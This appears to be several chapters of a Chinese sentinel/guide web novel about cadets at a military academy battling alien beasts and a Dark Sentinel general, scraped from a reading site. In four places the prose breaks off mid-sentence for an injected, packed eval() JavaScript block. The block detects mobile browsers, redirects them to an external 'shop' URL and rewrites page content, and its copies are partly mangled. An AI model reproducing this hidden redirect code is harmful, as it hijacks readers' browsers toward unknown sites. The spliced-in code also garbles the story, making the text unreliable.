“长官,这样会不会太严苛了一点?他们都还没有经过正式训练呢?真的有必要这样吗?”叶治站在靳年的侧后方,脸上实在不忍。
靳年身上是一身黑色的作战服,闻言侧头看他,挑眉轻笑一声,“怎么?灾难来临的时候会因为他们没有训练就不来了吗?”
靳年本身的五官轮廓就十分凌厉,年轻的时候就因为长相太过于桀骜经常被约架,这几年经过战火的洗礼淬炼,则更加锋芒毕露,再加上银发红瞳的黑暗哨兵的标志,如同一尊煞神,简单的一个挑眉,就让人感受到强大的压迫感,心惊肉跳。
叶治心里为这群尚在睡梦中的新生祈祷默哀,“明白了,长官。已经准备好了。”
察觉到异动的一瞬间,傅言就从睡梦中惊醒了,精神海当中的森森躁动不已,迫不及待要冲出精神壁垒,搅得他脑袋疼。
将森森放了出来,身长几十米,水桶粗细的巨蟒瞬间挤满空间,巨大的蛇头居高临下看着傅言,嘶嘶吐着蛇信子,像是要把他的脑袋咬下来。
傅言看着森森,头更疼了,揉了揉眉心道,“变小一点。”也不知道随了谁的性子,明明是自己的量子兽,却偏偏喜欢和他对着干,还总有谋权篡位之嫌,翻身做主人。
森森蛇躯扭动,尾巴尖对着人,明显是不乐意了,“嘶嘶——”我这么威武,凭什么要听你的!
傅言面色冷淡,沉声命令道,“快点。”
“嘶嘶——”
感受到人的怒气,森蚺即使不情愿,也变成了宠物蛇的大小,从人的大腿爬上人的肩膀。
“砰——”
“咚——”
窗户玻璃上出现异响,一只布满尖刺的触手骤然拍打在窗户上。
“出去。”傅言起身,量子兽闻言嗖地钻出房间。
“醒醒。”傅言打开邹明的房间,人还在睡梦中,翻了个身,无意识地挠了挠大腿根的痒痒。
傅言见状,眉头微皱,虽然知道是新生,但是这么没有警觉性,实在不妥,两步上前,捏住人的被角,往上一抬,接着用力一甩,邹明就水灵灵地摔在了地上。
“哎呦……妈耶!怎么了?地震了?”邹明揉了揉发疼的屁股根儿,一脸疑惑地看着出现在自己房间的人,“你怎么来了?”
傅言将放在凳子上的衣服递给人,言简意赅,“有情况,换上。”
邹明被甩了一脸,见识过对方的能力也没什么怀疑,拿起衣服便套了起来,边套边疑惑,“什么情况?这里不是蔷薇军校吗?”
作为老油条,傅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579351|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言心中隐隐有所猜测,但也还只是猜测,没有要告诉对方的打算。
他冷着脸,回道,“不知道。”
“砰——”
“噼里啪啦——”
“我次奥……”邹明离窗户最近,窗户被不明生物重击,玻璃炸开,碎了一地,他吓得一激灵,关键时刻抱住头,才没被飞溅的碎片划伤脸蛋。
紧接着,还没反应过来,一只硕大带着黏液和尖刺的触手就飞了进来。
傅言最先反应过来,拉住人往旁边一扯,转身一个飞踢,精神力外化作刀刃,削掉了触手的一个小角,从断裂的伤口滋啦滋啦往外冒着黑色的液体,似乎是这异兽的血液,滴落在地板上时,地板瞬间冒起白烟。
白烟散后,地上赫然是一个小洞,邹明几乎能从小洞里看到楼下的场景。
“快跑!”显然在密闭的宿舍楼里就是这些怪物的盘中餐,在没有任何战斗设备在身边的时候,跑才是上策。
邹明心有余悸,瞌睡算是彻底醒了,跟在傅言身后疯狂跑,低咒骂道,“md!异兽?怎么会出现在这里?学校干什么吃的?”
“还有!你刚才那一招好帅!精神力外化,你已经这么牛b了吗?”邹明果真不愧是大心脏,即使是生死时速,还有精力关心别的。
傅言扭头看他,“学校以后会教,多看几本关于精神力方面的书,也能会。”
傅言说着,下楼梯的速度一顿,“趴下!”
话音刚落,一条巨大的触手甩了过来,刚好扫过他们的位置。
再次躲过异兽的攻击,邹明觉得这样下去不是办法,“不行啊,傅哥,我没有武器,只能躲啊。”
傅言脚下动作停顿,手上的精神力刃挥出,砍在异兽的触手上,触手刺痛,疯狂甩动。
傅言厉声喝道,“量子兽呢?放出来!”
“可是量子兽无法攻击啊。”邹明虽然不理解,但还是听话照做。
这样的战斗对于他来说并不是难事,还有足够的余力和人解释,“量子兽无法对人进行直接的攻击,但是对异兽可以。向导和哨兵的诞生就是为了克制异兽保护人类。”
邹明的量子兽是一只袋鼠,一出现,受到主人的影响,对着异兽的触手就是挥拳,触手吃痛地回缩。
走正门显然已经不是一个明智的选择,傅言用工具砸碎楼梯口收光用的窗户玻璃,冷声道,“跳下去。”
这里是二楼,以哨兵向导的身体体质,不会摔死的。
傅言稳稳落地。
邹明见状,跟着一跃而下,因为紧张,没有控制好力道,直接一个四脚着地。
“没事吧?”傅言把人拉起来。
邹明挥手,“没事。”
他问道,“现在怎么办?”
不知不觉间,已经彻底将傅言当成了主心骨。
“无缘无故不会出现这么多异兽。”傅言皱眉,拍了拍袖口的脏污,继续道,“一般情况下,异兽的出现,都是通过黑洞传送,只要我们找到黑洞的位置,并且将其关闭,异兽就会消失了。”
5. 幼稚狂妄
“长官,我看这次的新生有两个还是很不错的。”叶治给正在换纱布的人倒了杯水,虽然他们通过转设备将黑洞接到了这里。
出来的异兽也都是等级比较低的异兽,对于新生来说可能确实有些可怕,但是没有什么生命危险,更何况还有整个第一军团保驾护航,万无一失。
虽是如此,但这样的军训开局前所未有,叶治也是替自己长官捏把汗,也不知道元帅是怎么同意的。
“嗯。”靳年听到人话,并没有很大的反应,换好纱布之后也只是往身后一躺,揉了揉额角。
叶治上前将一旁挂在简易衣架上的作训服取了下来,在一旁的凳子上放好,好奇地问道,“您不去看看吗?是好苗子。”
靳年睁开眼睛,眼神闪了闪,眼底红黑变换,最后变成浓艳的血红,“我会亲自去看。”
“出去。”靳年咬着牙,声音突然低沉狠戾,如同从嗓子眼里发出的。
“是。”叶治一刻不停,他知道自家长官这又是精神海开始疼了。为了不触霉头,也为了保护长官的威严和自尊,这种时候,他格外有眼力见。
叶治不是黑暗哨兵,并不知道这是一种怎样的疼法,会让人全身战栗,冒冷汗,甚至严重的时候会从肌肤里渗出鲜血来。
但他知道精神海被侵蚀的感觉,那并不好受,就好像有千万把钝刀子摩擦神经,不是一下痛晕的疼法,而是一阵阵的,持续的,长久的,让人生不如死的疼。
恨不能以头抢地,将整颗脑袋砸个稀巴烂,这才是真正的畅快,解脱。
靳年紧紧咬着牙,额角抽搐,一张英俊的脸变得有些狰狞,手指在皮质的沙发上抠出了一个洞,接着被他死死攥成拳头。
也不知道过去多久,新换的纱布已经不能用了,他干脆直接撕开来,带走了层血痂,重新在胸口上贴了两张创可贴算是完事。
他其实恨不得将整颗心脏都掏出来,这样变不会流血,不会痛。但人会死,他还不能坦然面对自己的死亡,黑暗哨兵活不过三十岁,他今年也才二十六,剩下的时间应该要留在战场,就像某个人一样。
迅速裹上作训服,再戴上的改变容貌的面具,黑暗哨兵标志性的银发红瞳便被彻底隐藏,就连轮廓深邃的英俊面孔也发生了改变,变得平凡,但又因为靳年本身的气质,看上去仍旧不太好惹。
杨志是一名S级的哨兵,就连量子兽都是一只百兽之王大老虎,自认为在蔷薇军校新生一届,怎么也能是个声名鹊起的人物,如今竟然要丧生异兽之下了?
眼见着异兽张着一张腥臭的大嘴,猛地扑了过来,早已体力透支的杨志默默闭上了双眼。
预想的疼痛并没有袭来。
“还不快起来?”一个颇有些看戏的声音响起。
杨志缓缓睁开眼睛,眼前的异兽正被一条巨蟒缠住,蛇头死死咬住异兽的脖子,异兽在抓在挣扎几下,瞬间便不动了。杨志反应极快,迅速后退,爬了起来。
这才注意到来的两个人,都是向导,一个身高腿长,十分俊美,眉目如画,一张薄唇精致又好看,是有些几分眼里邪气的长相,但是因为本人的气质偏沉稳冷淡,容易让人忽视这一份邪气。
另一个则要张扬许多,标准的有体质没脑子,清澈的体育生,长得是很帅气,但看着有些傻乎乎的,刚才说话的大概就是这个了。
“谢谢两位出手相救。”杨志对着两人拱手道谢。
邹明特别自来熟,上去哥俩好地搭住人的肩膀,“不客气。”
杨志后退半步,躲开了人的动作。
怎么?我的手是有毒还是什么的?都不愿意让我搭?来了军校总共就搭了这么两个人,一个个都避如蛇蝎似的。邹明咬牙,生闷气。
“向导哨兵授受不亲。”或许是眼神太过怨念,杨志解释道。
邹明撇嘴。
“我叫杨志。你们呢?”
“傅言。”
“邹明。”
“学校为什么出现异兽你们知道吗?我们是不是应该找军校的老师或是校长反映这件事?”
异兽出现的突然,很多学生尚且在睡梦中,根本想不到学校会发生这样的事情,被吵醒之后,看到怪物一般的异兽攻击,直接就麻爪了。
“我们要去找黑洞,傅哥说关闭黑洞就可以让异兽消失。”邹明立马告知了他们的计划。
杨志稍微讶异,不过很快便点点头,“这也是个好办法,不过如果直接告诉军校的老师,或者教官,让他们去找不是更好吗?我们还只是什么都不会的学生,会不会太冒险了?”
傅言皱眉,森森解决完异兽便重新爬回人的肩膀,闻言也是嘶嘶两声,他冷声道,“从进入蔷薇军校那一刻开始,就不要把自己当作什么都不会的学生看待,没有人会一直站在你的身后保护你。”
“蔷薇军校锻炼的是军人,是守护者,保卫者,而不是被保护者。”
杨志闻言,脸上表情变换,最终紧了紧眉头,点点头,“我明白了。”
气氛太过严肃,迈着步子上前往人的身边靠了靠,眨巴眼睛,勾着嘴角,一脸神秘道,“你想想这么牛b的蔷薇军校,出了事情,一个人都没有出现这不是很奇怪吗?而且每年财政给军校的经费可不少,安保系统怎么可能那么low?连异兽的入侵都发现不了?这不是扯吗?”
说了那么多,一切尽在不言中,他冲人使了使眼色,“懂了么?”
傅言意外地看着人,没想到看上去不太聪明的人,竟然如此敏锐。
杨志被人一点就透,若有所思地点头,“你是说……”
两人对上视线,邹明重重点头。
“嗖嗖嗖——”
三发量子激光弹往这边打过来,打破了三个人之间的温馨氛围,三人护住脑袋往旁边一滚,除了傅言之外,其他两个人的姿势都不太好看。
傅言皱着眉望向激光弹的来源,左侧的房顶上一个人影刚好收起扛在肩头的量子枪,对上傅言望过去的视线,在傅言的目光下,做了一个国际友好手势。
幼稚,狂妄。
“唉我次奥——”显然不止傅言看见了 ,邹明这个性子,也是一点都忍不了,立马人就炸了,上去就要和人理论理论,被旁白的杨志一拉。
“嗖——”
又是一发激光弹,直接从邹明旁边擦了过去,如果不是杨志的这一拉,估计就打在他身上了。
“*&%……”邹明这下子是彻底被激怒了。
杨志死死拉住人的衣服,“别冲动啊!他有武器呢,咱们赤手空拳,不妥不妥。”
“你是什么人?要干什么?”傅言冷静地对着人问道,说话的时候用了精神力,不怕对方听不到。
回应他的只是变本加厉地扫射,旁边的建筑直接拦腰断裂,傅言几人只能仓皇躲避量子弹的攻击。
邹明,“这家伙完全不给说话的余地啊。他究竟要干什么?”
“可能……就是单纯地增加难度?”
邹明猛地扭头,“哈?”脸上的表情变了又变,最后一言难尽,“有理……”
“老子要抓住他!把激光弹塞他嘴里!”邹明边跑边吼,激光弹就是有声控功能一般,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579352|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全部往身上集火,邹明躲地气喘吁吁,旁边地量子兽也在帮着不停地空手锤百刃。
“md!总教官到底是谁啊?这么魔鬼?!以后还能有好日子吗?”
火力太猛了,邹明的作战服,直接被打穿了一个洞,杨志实在看不下去了,一把捂住人的嘴,“你少说两句吧!”
这样下去太被动了,不是办法,这样的激光弹,即使是对新生的入学试炼,也太过了,这样的无差别攻击,一点都不把学生的生死放在眼里,刀剑无眼,也不知道学校从哪里请来的疯子。
傅言拧了拧眉心,对着躲避在障碍物后面的两个人说道,“你们拖住,我去找他。”
“好。”杨志点头,“小心。”
说着就见傅言的人影消失在暗色里。
察觉到少了一个人,靳年意识到什么,只听见空气中气息微动,破空而出一把精神力刃直逼面颊。
靳年往后撤开半步,眯了眯眼,舔了舔唇,“有意思。”
“还有更有意思的。”傅言冷哼一声,横腿一扫,靳年出手格挡,不得不放下激光枪。
傅言见状,一脚将激光枪踢下楼。
靳年被对方彻底激发了兴趣,冲着人面门就是一拳,被人扼住手腕。
哨兵的力量并不是向导可以制住的,但那是对于普通的向导而言。
傅言可是战斗系向导第一人啊!体能从来不输哨兵,更何况现在还是他的年轻体,身体素质更是强悍。
靳年手腕一阵发麻,有些讶异,虽然他收了力,但就这么被人捏住手腕,还挺意料之外,看傅言的眼神多了几分正色。
一击不成,就换另一击,靳年膝盖弯曲,往人身上一顶,傅言后退半步,放开人的手腕。
接着又是凌厉的一脚,正中胸口,傅言双手张开格挡,绕着刃的脚踝一旋,靳年另一条腿飞踢而来,膝盖勾住人的脖子,两人跌倒在地。
一个锁住人的腿,一个锁住人的脖子,互不相让。
靳年膝盖锁住人的脖子道,“身手不错,久经战场的人说不定都没有你这样的反应力。”
“过奖过奖,阁下也不遑多让。”窒息感只是一瞬,傅言掰着人腿的手用力。
两个人互相僵持着,好像谁放手谁就输了似的。
“嗯……你干什么!”视线受阻,傅言看不见对方的动作,只是听声音多了几分恼羞成怒。
冰凉的触感一路从袖口钻进衣襟里面,蜿蜒而行,最后趴在左胸口,伤口骤然被舔了一口,然后便感觉有什么东西戳了戳自己胸口的敏/感部位,靳年一阵闷哼,“哼……”
竟敢!竟敢!无耻之徒!
想他堂堂联邦上将何曾受过此等侮辱!
这声音太过惊悚,关键是傅言听得还觉得耳朵很热,就更加惊悚了。手上的力道松了几分,立马被人找到破绽,一膝盖压住胸膛。
傅言胸口吃痛,还没来得及反应,就见人从领口扯出一条小蛇,往他身上一甩,结果根本没甩开,蛇躯上半身是甩开了,但是尾巴尖还盘在人凸起的腕骨上。
森森蛇瞳迷离,“嘶嘶——”好香好香啊……
“!”傅言瞳孔微缩,一把扯住不听话的量子兽收回精神海,飞快道,“抱歉。”
靳年胸口发麻,怒气上头,觉得对方胆大包天,混不正经,压根听不进去,飞踢一脚把人踹了下去。
能瞬间爬上来,这高度,死不了人。
傅言也没有丝毫反抗,毕竟确实是自己量子兽的锅,一个哨兵一个向导,量子兽钻人家衣服里作乱,这简直和x骚扰无异。
6. 无情铁手
天光破晓,傅言一行人总算找到了蔷薇军校的黑洞。
他们到的时候,已经有不少新生在打异兽,想办法关闭黑洞。
军校的学生也并不都是像邹明那样一问三不知。一些家境好,能力强,分化早的向导哨兵,早就已经接触过异兽,甚至一些还是在战场上拿过勋章的,进军校有加分的优势。
“呼——呼——呼——”邹明急促地喘息,等气儿喘匀,咽了咽干涸的嗓子,“累死我了。”
他们这一行已经灰头土脸,一路打过来的,邹明甚至激发了潜能,无师自通学会了精神力外化,现在已经是可以举着精神力锤猛敲的人了。
杨志是哨兵,精神力方面差一点,但是肉搏不在话下,一身的莽劲儿就是干。
异兽的身躯都被一层粘液包裹住,是它们的保护色,黏黏糊糊的沾了灰尘扫在人的身上,干净不到哪里去,好在军校的作训服质量不错,除了脏,不轻易坏。
傅言在三人里是最干净整洁的,以至于朝阳升起之时,阳光打在他的身上,纤长的睫毛染上金光,像是神祇一般的俊美。
一下子晃了不少年轻哨兵的心,不过在看到他一刀将一只异兽封喉之后,纷纷按下了砰砰直跳的心脏,专心打异兽了。
黑洞的位置正处于蔷薇军校的中轴线上,一个巨大的校内广场——杰拉德广场。
这里树立着蔷薇军校的第一位校长杰拉德的雕像。联邦有名的军事家,教育家,也是联邦第一位哨兵。
黑洞的眼,正好在雕像上。打碎雕像显然是不可能的,只能靠精神力将其关闭。
只是去哪里找能够将精神力运用得如此娴熟的人?关闭黑洞,没有上过战场的向导哨兵根本不会。
黑洞就在眼前,邹明越打越勇,就像被打了鸡血,连他的袋鼠都跃跃欲试,一蹦一跳的,“要怎么做?”
“精神力会用吗?”
邹明舔了舔干涸起皮的唇,对方似乎在看不起他,“你这不是废话吗?我是向导!”
“那就好。”傅言点头,“用你的精神力,去感知黑洞的存在。”
邹明闻言闭眼,随后眉头紧皱。
傅言问,“你感受到了什么?”
“我尿急。”
“……”傅言眉头抽搐,如果这是自己的手下,他早就一脚踹过去了。但这只是个什么都不懂得军校新生,于是他道,“将你的精神力触手探进黑洞里,仔细感知它。寻找黑洞深处支撑它的那股力量来源。”
“你看到了什么?”傅言说着,慢慢朝着邹明靠近,悄无声息站在人的身后。
“一个……核?”邹明按照傅言所说,分散自己的精神力靠近黑洞,感知维系黑洞的力量源头,看到了一个源源不断向外界扩散的核。
四散的力量如同小旋风一般围绕着核转动,流淌,像是一个小球一般。
黑色的力量向外扩散的同时,如同星光亦或是牵扯木偶的线,缠绕在从黑洞中-出来的异兽身上。
他还想再看得仔细一些,但是抽动的神经告诉他,精神力已经快要超出负荷了。
傅言猛地包裹住邹明的精神力,往外推了人一把。
“去吧!锤爆它!”
根本来不及反应,邹明手上瞬间出现一把精神力锤,直接一个飞扑出去,锤子抡圆了这么一挥。
“砰——”
“哗啦啦——”
有什么东西碎掉了。
但其实并没有发出一丝响动,如果不用精神力感知,只会觉得黑洞的消失是突然的,寂静的,一瞬间不知不觉就没了。
以至于还在打异兽的人一眨眼眼前的异兽就消失不见,身体扑了个空,摔在地上,吃痛的膝盖告诉他眼前一切不是梦。
“消失了?真的消失了?”将近三个小时神经的高度紧绷,一下子松懈来,脸上的表情不知道是还哭还是笑。
终于有人卸了力,狼狈地坐在地上,今天这一遭,真的以为自己就要死在开学第一天了。
太阳彻底冒出了头,晨光撒下,杰拉德的雕塑神情肃穆,旁观着这一场小小的胜利。
“恭喜你们,通过了新生入学试炼,从今天开始,你们就是蔷薇军校一名正式的大一新生。”
广场上突然出现了一个巨大的虚拟大屏,靳年的身影赫然在上面。
一身熨烫妥帖的黑金色军装,身后是红色的披风,银发红瞳,英俊的面容如同利刃,带着令人敬而生畏的寒光。
“靳上将!竟然是靳年上将!”
“真的,真的是他!”
人群开始变得嘈杂,听不出他们的声音里究竟是哀嚎多些,还是敬畏多些,但只要对靳年有些了解的人都知道,自己接下来的日子可能不太好过了。
靳年,26岁的黑暗哨兵,联邦目前最年轻的上将,人形兵器,手段残忍残暴,明明机甲,量子武器已经是十分常见的战斗武器,但偏偏还使用着最传统的战斗方式——肉搏。
据说,靳年上将十分喜欢徒手捏断敌人的脖子。星网上还有一个他的外号:“无情铁手”
他那如同不要命一般的打法,据说就连元帅大人都十分头疼,但又因为对方是黑暗哨兵,似乎一切都十分合理。
没别的,黑暗哨兵主打就是一个疯。
呜呜呜哪有入学上来就让他们打异兽的?还是凌晨三点!有些人连异兽都没见过好吧!
果然是“疯”了吧!
黑暗哨兵刻板印象再+1!
众人内心如何吐槽,靳年不得而知,只是在人群当中,即使隔着虚拟屏幕,他也一眼就看到了那个量子兽对着自己进行骚扰的向导。
只是这个向导的眼神怎么如此奇怪?
靳年默默移开视线,“从今天起,你们就是蔷薇军校的一员。未来,你们或许会上战场,就像今天一样,面对完全陌生的情况,生死攸关!但通过今天,我相信未来,你们有足够的勇气去面对任何突发/情况。”
“蔷薇军校,是培养军人的地方,今后,你们要守护的,是整个联邦,是身后的群众,老弱病残妇女儿童,你们背负着守护的使命,为了联邦的荣耀,人类的荣光,未来是你们的,了!”
“加油吧!年轻人!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579353|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话毕,场上掌声雷动,邹明,杨志被这样的氛围感染,激动得几乎要落泪,此刻靳年不再是星网上那么片面的杀神,人形兵器,而是符合他身份的联邦上将,是他们所向往的男人,是一个目标,一个想要打败,追逐的榜样。
可是这些,都不是傅言的想法。
他只在乎对方那一头银发,为什么会这样?
为什么那么怕疼的一个人,竟然会成为黑暗哨兵?明明只是轻轻磕碰就会红了眼睛的人,床垫子都要睡最软的人,热水怕烫,冷水怕凉的人。
为什么……为什么会成为黑暗哨兵?
五年,原来他已经成长的如此伟岸,甚至能够扛起守卫联邦的重担,已经变成了有人畏惧有人敬仰的一个真正的联邦军人。
可他……为什么会成为黑暗哨兵啊?那得有多疼啊……
又来了,这到底是什么眼神啊?为什么要这样看着他?
同情?怜悯?
呵。无论是哪一种,靳年都不需要。
靳年挑眉,从男人身上移开视线,继续说道,“想必大家对我已经有所耳闻。但无论你们对我之前的印象如何,请容我再自我介绍一下。”
“我是你们本次入学军训的总教官,靳年。相信各位已经通过入学试炼的同学,一定不会让我失望。”
靳年扫视一圈,吐出的话无情又冷酷,“那么,我们七点,准时在这里集合,如果迟到,我手里的量子能量枪会给你们不错的奖励。”
“啪——”
虚拟屏幕熄灭。
邹明从还没从慷慨激昂的陈词中回过神来,转瞬就被新晋男神破了一盆冷水。
什么男神啊!分明就是魔鬼!他一定是被迷惑了双眼!
诶?傅哥这么感性吗?都感动哭了?
邹明看着傅言微红的眼眶,分明一副美人垂泪,但因为自尊心太强,于是强忍泪水红了眼眶的模样。
他轻咳两声,想伸手拍拍人的肩,但想到傅言不喜欢和人亲近,于是强忍住了,“怎么样?靳年上将很帅吧?26岁的联邦上将。帅是很帅,但也是真的残忍冷酷无情啊。”
本意是安慰,谁知道对方横飞一个眼刀子,似乎要把他戳个洞,邹明打了个寒颤,抱着胳膊搓了搓。
有些冷。
“咳,那什么,我先回去换一件衣服。”说着拔腿就跑。
杨志站在一旁,误会傅言是靳年的唯粉,开口道,“靳年上将的确很厉害,不过很可惜,如果不执着于前向导的标记,做了手术去掉标记和其他向导重新结合,说不定也就不会有那些不好听的言论了。”
“但……”杨志摸着下巴,摇了摇头,“如果真的那样做了,他或许也就没有今天这样的成就了,所谓祸兮福所倚,福兮祸所伏。”
“诶诶诶!你怎么也走了?等等我啊!先加个星讯再走啊!”不知道为什么,杨志总觉得傅言的背影有点……落寞?
靳年……
靳年……
这两个字在傅言的唇齿间咀嚼,心口似乎被一只大手捏了一把。
闷痛。
7. 军训对练
七点,新生列好了方队集合在广场,总教官靳年已经换下了他的军装,穿着一身干练的作训服。
傅言的目光自从落在人的身上之后,就没有移开过。
长高了,英俊了,浑身散发着成熟男人的魅力,身高腿长,腰杆儿板正,贴身的作训服被人的肌肉绷得紧紧的,如同一头健美的豹子。
傅言记得对方的量子兽就是一只黑豹,小豹子如今已经长成了大豹子了,这是他错过的时间。
又来了,又是这种眼神,如芒在背。
靳年在人群中一眼就锁定了目光的来源。
垂眉。
又是他……
靳年踱步走到傅言所在方队,方队的人一时间都感到一阵紧张,生怕自己的有哪里做的不好,触了霉头,一个个心脏扑通扑通跳,甚至连冷汗都冒了出来。
“你!”靳年手一指,“出列!”
众人还在心里蛐蛐,究竟是谁这么倒霉,邹明在另外一个方队,但是也时时刻刻注意这靳年的动静,还在心里幸灾乐祸,究竟是哪个幸运儿惹了煞神的不快。
“叫什么名字?”只听见靳年低沉着嗓音问道。
“报告教官!我叫傅言!”清冽又带着少年气的声音,邹明大跌眼镜,眼神频频往这边瞟。
哎呦,怎么又是我傅哥?难道这就是命定的缘分?就因为他叫“傅言”?所以才会和靳年对上?
听到傅言回答的靳年眉头微动,微不可察地皱了皱眉,看向人的眼神更是多了许多审视。傅言丝毫不避讳,任由人打量,甚至还挺了挺胸膛,这一下子有点郁卒,靳年竟然比他高了!
五年前他比对方高了一个额头的位置,现在对方似乎比自己高了一点点。傅言心酸,想着自己还能长才稍微缓和了些。
无视对方那乱七八杂的眼神,靳年心口微跳,傅言……不知道是不是自己的错觉,这人的容貌长得也和“傅言”很像,脸部的轮廓,以及眼尾上挑的弧度,都极其的相似,只不过傅言比“傅言”要更加青涩,有活力,甚至多了一丝邪气和张扬。
印象中的那个人,总是温和的,笑眯眯的,有时候更像是个老妈子,偶尔也会有极其恶劣的时候,但还是会注意着分寸,他有着作为一个年长者应该有的温柔和包容。
有时候靳年会觉得对方好像天生就是如此,待人接物总是会有着自己的分寸和原则,以和蔼示人,但同时又有着属于联邦军人的韧性,是经历过战火洗礼的,偶尔会露出锋芒的,是可以交付后背的人,是可靠的。
靳年没有见过“傅言”年轻时候的样子,但是或许会和眼前的青年有点相似,或许会更温和一点,像个白面书生。
意识到自己在想些有的没的,靳年眼神闪了闪,他已经很久没有想起那个人了,他一般不愿去想,但今天这个叫做傅言的年轻人,让他的心绪产生了些许的波动。
靳年观察他的同时,傅言也在观察对方,五年的时间是不可磨灭的,对方的脸上甚至多了很多难以察觉的小伤口,就连露出的脖子上面都有。即使经过治疗仓的治疗,伤口愈合宛若新生。
但还是会留下痕迹,证明着他曾经历过的一切。
时间似乎过去很久,但实际不过瞬息之间。
傅言的名字一出,新生群里简直如同炸锅,要说靳年上将最大的八卦,无外乎就是对方死去的前夫,因为不肯洗去前夫的标记,所以选择了成为黑暗哨兵。
有人为他们的爱情落泪,有人为傅言上将惋惜,还有人替靳年不值,这其中似乎还夹杂着元帅的苦苦追求,星网上面关于元帅和靳年上将关系的讨论,至今都还没得出过所以然来。
毕竟黑暗哨兵都是人形兵器,时刻在崩溃的边缘徘徊,随时都有可能爆发,如同一颗不定时的炸弹。
关于黑暗哨兵的培养,是联邦公开的秘密,从来不会放在明面上讨论,大多都是睁一只眼闭一只眼,如果有机会,没有人会选择成为黑暗哨兵。
但是黑暗哨兵的战斗力是不可估量的,不然也不会有人形兵器的称号,为了确保星际战场的稳定,联邦会对秘密培养黑暗哨兵,他们就像是战争的消耗品,毕竟没有一个黑暗哨兵可以活到三十岁。
生命有限,便将有限的生命献给星际联邦,守护人民,守卫联邦。
然而靳年出现了,黑暗哨兵,联邦上将,而且还是目前最年轻的上将,元帅在中间没少帮他据理力争,据说在议会考虑是否给靳年授勋的时候,文森他把议会的桌子都锤爆了,才换来了靳年这个光明正大的军衔。
靳年上将也没有让他失望,带着自己的军舰屡次立功。
但就算他们在心里如何腹诽,怎样蛐蛐,表面上都是不动如山的,他们也怕被抓出来当典型。
只见靳年意味不明地笑了一声,“好名字。”
靳年笑了笑,状似和蔼地拍了拍人的肩膀,“我记得你格斗不错,那就由你来给大家展示展示。”他挑了挑眉,对着人道,“你没问题吧?”
傅言道,“报告教官,没问题。”
就算有问题也没有问题!和老婆接触!有什么问题?
“很好。”
靳年迈步走到两个方队的中间,“这一套格斗术是最基础的,我示范一次,之后自行找人对练,然后找自己方队的教官考核,希望你们能在午饭前通过考核。”
说到这里,他停顿一下,意味深长地勾了勾嘴角,配上他的银发红瞳如同地狱修罗,阴恻恻的,继续道,“不然你们可能需要饿着肚子进行下午的训练了。”
“请吧,教官。”傅言对着靳年摆手,话音刚落,手腕就被人扯住往身后一甩。
傅言当即退步用力稳稳落地,靳年的速度很快,接着就挥出了他的下一拳,直冲面门,看眼神似乎就是故意冲着他脸去的。
傅言眼疾手快擒住人的手腕一转,看上去靳年整个人如同被他从身后抱在怀里,他鼻头微动,似乎嗅到了什么味道,带着些腥甜,像是血腥味,他受伤了?
疑惑间正要继续弄清味道的来源,轻嗅的动作幅度大了些。
脖颈间的动作不是错觉,靳年感觉到一阵火大,已经很久没有这种被冒犯的感觉了,但对方一而再再而三的行为,激怒了他。
一个肘击直接袭在人的胸口,接回身顶膝。
傅言迅速手掌格挡,谁知竟然是烟雾弹,靳年另一条腿已经冲着人的脸去了。
傅言偏头,弯腰,一把抱住人的膝盖弯折,靳年单腿直立,出拳打在人的背部,手肘用力。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579354|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>傅言搂着人的腰,靳年腾空,趁此机会,直接将人按在地上。
将对方的膝盖压至胸口,靳年脚上用力一蹬,胳膊锁住人的脖子,猛地一翻,将人压在地上,膝盖压在对方胸膛,一手锁住对方脖子。
血腥味更明显了。
还要与对方继续的傅言松了力道,双手拍着人的胳膊,接着往身后一摊,假装自己脱力。
靳年瞳孔微张,手上又用了一些力道。
傅言痛呼,“唔……教官,我输了。”
这压根就不是什么比试,只是过招当中都不免动了些真格。
在场所有人几乎都听到了傅言的声音。
靳年松开手,起身,整理了一下袖口,见傅言还躺着,厉声道,“起来。”
